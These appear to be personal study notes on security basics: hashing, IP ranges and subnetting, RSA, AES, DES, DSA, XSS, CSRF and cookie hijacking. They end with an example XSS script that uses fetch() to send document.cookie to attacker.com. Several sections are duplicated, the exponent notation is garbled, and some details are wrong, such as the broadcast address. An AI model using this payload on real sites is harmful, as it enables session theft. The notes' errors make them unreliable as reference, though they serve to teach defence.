Properties:
-> pre-image resistance.
-> should be fast but not so fast.
-> shouldn't have hash collisions.
-> avalanche effect. i.e. change in one bit changes the whole hash value.
Types of Hashing Algorithms:
-> SHA(Secure Hash Algorithms) -> various versions are there such as SHA-1, SHA-2, etc.
-> MD5(Message Digest 5) -> broken
SHA-1:
-> 160 bits long hash values means 32 bits each for 5 message
-> 160 bits is basically changed into group of 4 bits to get 32 length hash value.
-> Bears similarity with MD5 and MD4 in functioning.
salt = some_random_value
password = password + salt
hashed_value = hash(password)
The password hash here will be different and help in securing your password as it won't be available now in the rainbow table.
Private:
-> Only used in local networks such as home/office.
-> There is range for the private IPs categorized into certain classes.
- Class A: range from 10.0.0.0 to 10.255.255.255
- Class B: range from 172.16.0.0 to 172.31.255.255
- Class C: range from 192.168.0.0 to 192.168.255.255
The above-mentioned are IPv4 IPs. For the IPv6, they will be mentioned as fc00::/7 will start with fc or fd.
To note:
IPv4 uses 32 bit address.
IPv6 uses 128 bit address.
Public:
-> Any IPs not in the range of above will be Public IPs.
-> This is the IP with which you connect to the world.
-> for example, Google public DNS server IP is 8.8.8.8.
-> It is a smaller, logically divided network within a larger network.
-> created by using subnet mask such as 255.255.255.0 where this means first 24 bits are masked and only last 8 bits are used for host.
-> To be clear say, our ip address is of form 192.168.1.0/24 then 192.168.1 part is network address while .0 part is host address.
-> So, 192.168.1.0 is used for network address, 192.168.0.255 is used for broadcast address and remaining are used for devices on the network.
-> Here, 255.255.255.0 is known as subnet mask.
-> Also we can create more subnets as notation is to create two subnets. 192.168.1.0/25 to borrow one bit from the host address.
-> The keys are not same for encryption and decryption i.e. public key for encryption and private key for decryption but these keys are related to each other mathematically.
How Does This Works?
- Key Generation:
-> we choose two primes say p, q.
-> we compute n = p × q this n will be used a part of both public and private key.
-> we then compute the euler's totient function Φ(n) = (p - 1) × (q - 1). This totient function means the total numbers which are coprime to n from 1 to n - 1.
-> we select e(the public exponent) such that 1 < e < Φ(n) and e is coprime to Φ(n) i.e. gcd(e, Φ(n)) = 1.
-> we calculate d(the private component) as the modular inverse of e modulo Φ(n), so that d × e ≡ 1 mod Φ(n).
- Encryption:
-> sender uses the recipient's public key(e, n) to encrypt the plaintext M into ciphertext C using the formula: C = Me mod n.
- Decryption:
-> receiver uses the private key(d, n) to decrypt the Ciphertext C into Message M using the formula: M = Cd mod n.
-> we choose two primes say p, q.
-> we compute n = p × q this n will be used a part of both public and private key.
-> we then compute the euler's totient function Φ(n) = (p - 1) × (q - 1). This totient function means the total numbers which are coprime to n from 1 to n - 1.
-> we select e(the public exponent) such that 1 < e < Φ(n) and e is coprime to Φ(n) i.e. gcd(e, Φ(n)) = 1.
-> we calculate d(the private component) as the modular inverse of e modulo Φ(n), so that d × e ≡ 1 mod Φ(n).
-> sender uses the recipient's public key(e, n) to encrypt the plaintext M into ciphertext C using the formula: C = Me mod n.
-> receiver uses the private key(d, n) to decrypt the Ciphertext C into Message M using the formula: M = Cd mod n.
Here, larger the primes p and q, harder it is to break the encryption.
-> Symmetric Encryption Standard which encrypts data in fixed-size blocks(128 bits)
-> Supports key size of 128, 192, 256 bits.
-> highly secure and used by U.S. NIST.
-> performs series of transformation over multiple rounds depending on the key size:
. AES-128: 10 rounds
. AES-192: 12 rounds
. AES-256: 14 rounds
It is a block cipher that operates on 64-bits blocks using a 56-bit key. It is a symmetric-key algorithm.
-> performs 16 round of operations.
-> unsecure and is prone to brute force attack due to 56-bit key.
It is an asymmetric algorithm for digital signature. It is the part of Digital Signature Algorithm standard in the Digital Signature Standard(DDS).
-> private key for signing and public key for verification.
-> typically uses 1024 bits but 2048 and 3072 bits are preferred for better security.
-> generates Digital Signature for a message using the private key.
-
Message Hashing: It is done using any hashing algorithms such as SHA-1 or SHA-256. This hash value is denoted by H(m).
-
Signature Generation: Select a random integer k (from a range([1, q - 1] where q is small prime divisor of p - 1.) determined by the parameters of DSA).
Calculate r and s as:
r = (gk mod p) mod q (where g, p, q are the DSA parameters).
s = k-1(H(m) + xr) mod q (where x is the private key and k-1 is the modular inverse of k and calculated using the Extended Euclidean Algorithm).
-
The pair (r, s) is the signature pair. Note that both r and s must be within the range of [1, q - 1]. If not, it is considered invalid.
Message Hashing: It is done using any hashing algorithms such as SHA-1 or SHA-256. This hash value is denoted by H(m).
Signature Generation: Select a random integer k (from a range([1, q - 1] where q is small prime divisor of p - 1.) determined by the parameters of DSA).
Calculate r and s as:
r = (gk mod p) mod q (where g, p, q are the DSA parameters).
s = k-1(H(m) + xr) mod q (where x is the private key and k-1 is the modular inverse of k and calculated using the Extended Euclidean Algorithm).
The pair (r, s) is the signature pair. Note that both r and s must be within the range of [1, q - 1]. If not, it is considered invalid.
-
Compute w.
w = s-1 mod q.
-
Computer u1 and u2.
u1 = (H(m) × w) mod q
u2 = (r × w) mod q
-
Compute v using public key y and domain parameters p, q, g and u1 and u2.
v = (gu1 × yu2) mod p mod q.
-
Verify:
if v = r, valid else invalid.
Compute w.
w = s-1 mod q.
Computer u1 and u2.
u1 = (H(m) × w) mod q
u2 = (r × w) mod q
Compute v using public key y and domain parameters p, q, g and u1 and u2.
v = (gu1 × yu2) mod p mod q.
Verify:
if v = r, valid else invalid.
It is a vulnerability that allows an attacker to inject malicious scripts (basically Javascript) into the content viewed by the users. The injected script can execute in the context of the victim’s browser, allowing the attacker to steal information (such as cookies or session tokens), manipulate content, or perform other malicious actions.
-
Stored XSS: It is stored permanently stored on Target's server(i.e. Database)
-
Reflected XSS: The malicious script is reflected off a web server, typically through URL parameters, and executes when the victim clicks on a crafted URL.
-
DOM-based XSS: The vulnerability exists in the client-side code (JavaScript), where the page itself executes the malicious script without proper sanitization.
Stored XSS: It is stored permanently stored on Target's server(i.e. Database)
Reflected XSS: The malicious script is reflected off a web server, typically through URL parameters, and executes when the victim clicks on a crafted URL.
DOM-based XSS: The vulnerability exists in the client-side code (JavaScript), where the page itself executes the malicious script without proper sanitization.
It is an attack where an attacker tricks a victim into performing an unwanted action on a web application in which the victim is authenticated. The attacker typically sends a request from the victim's browser to a website where the victim is logged in, exploiting the trust that the site has in the user's browser.
How CSRF Works:
-> The attacker sends a link or embeds malicious code (usually in an email, on a website, or in a forum post).
-> If the victim is logged into a vulnerable web application, clicking the link or executing the code sends an unintended request to the server, potentially performing actions like transferring funds, changing account settings, or making posts.
Cookies are small pieces of data that are stored on your browser or device by websites. They are used to remember information about you and your interactions with a website over time.
Think of cookies as little notepads that websites use to store information about your visit and user preferences, making your experience more convenient and personalized.
Purpose: These cookies are temporary and are erased when you close your browser. They store temporary information like whether you're logged in or not while you're actively using the website.
Example: When you log in to a site, the session cookie keeps you logged in for as long as you browse. Once you close the browser, it disappears.
Purpose: These cookies stay on your device even after you close the browser. They have an expiration date (a set amount of time), and they allow websites to remember things like login details, preferences, and settings across multiple sessions.
Example: When you visit a website, and it "remembers" your login info (so you don't have to re-enter it every time), that's a persistent cookie at work.
Purpose: These are cookies set by the website you are currently visiting.
Example: If you visit example.com, and example.com sets a cookie, that cookie is considered a first-party cookie.
Purpose: These are cookies set by external services that are not part of the website you're visiting. They are commonly used for tracking across multiple sites for advertising purposes.
Example: When you visit a website that has an embedded ad or a social media widget (like a "Like" button from Facebook), Facebook may set a cookie to track you across the web for targeted ads.
In a MITM attack, the attacker intercepts the communication between the client and server. If the connection is not secure (HTTP instead of HTTPS), the attacker can capture the session cookie sent by the browser.
1. The victim visits example.com over HTTP.
2. The attacker, positioned between the victim and the server (e.g., on an untrusted Wi-Fi network), intercepts the communication.
3. The attacker captures the session cookie sent by the server in the HTTP response.
4. The attacker now uses the stolen session cookie to impersonate the victim.
• Always use HTTPS (encrypted communication) to ensure cookies are transmitted securely.
• Ensure Secure flags are set on cookies to prevent cookies from being sent over non-HTTPS connections.
XSS occurs when an attacker injects malicious JavaScript into a webpage, which is then executed in the victim’s browser. If the target site does not set the HttpOnly flag on cookies, the attacker can access cookies via JavaScript.
1. The attacker finds a vulnerability (e.g., a comment form or search bar) on the target website where user input is not sanitized.
2. The attacker submits a script like this:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>